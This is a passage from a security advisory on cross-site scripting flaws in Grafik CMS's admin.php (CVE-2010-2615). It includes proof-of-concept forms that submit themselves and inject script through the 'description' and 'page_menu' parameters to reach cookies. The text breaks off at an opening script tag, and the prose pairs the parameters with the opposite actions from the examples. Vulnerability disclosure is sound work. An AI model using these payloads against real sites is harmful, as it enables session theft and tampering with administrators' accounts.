Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in Grafik CMS which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerabilities in Grafik CMS: CVE-2010-2615
The vulnerability exists due to input sanitation error in the "page_menu" (when action is set to settings) and "description" (when actions is set to edit_page) parameters in /admin/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
<form action="http://host/admin/admin.php?action=settings" method="post" name="main" >
<input type="hidden" name="name" value="site title" />
<input type="hidden" name="admin_mail" value="example@example.com" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_url" value="http://www.example.com/" />
<input type="hidden" name="seo_url" value="0" />
<input type="hidden" name="mailing" value="1" />
<input type="hidden" name="template" value="templates/default" />
<input id="sbmt" type="submit" name="submit" value="Valider" />
</form>
<script>
document.getElementById('sbmt').click();
</script>
<form action="http://host/admin/admin.php?action=edit_page&id=1" method="post" name="main" >
<input type="hidden" name="page_title" value="page title" />
<input type="hidden" name="page_menu" value='descr"><script>alert(document.cookie)</script>' />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="page_content" value="some page content" />
<input id="sbmt" type="submit" name="submit" value="Modifier" />
</form>
<script>
